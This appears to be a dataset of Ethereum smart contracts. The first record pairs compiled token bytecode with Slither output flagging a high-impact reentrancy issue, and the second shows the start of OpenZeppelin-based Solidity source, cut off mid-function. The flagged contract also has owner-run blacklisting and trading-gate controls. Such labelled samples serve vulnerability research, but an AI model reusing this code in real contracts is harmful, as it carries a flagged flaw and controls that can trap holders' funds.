80fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600d81526020017f556e636c65204772616e64706100000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600c81526020017f554e434c454752414e4450410000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d26458b80cd0f808584eed7cc4519a621d914f9d19b1138692d712dd0d3821ad64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,055
0x88b94602c71e0206694c8911e4c176799786d578
pragma solidity ^0.4.23; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = 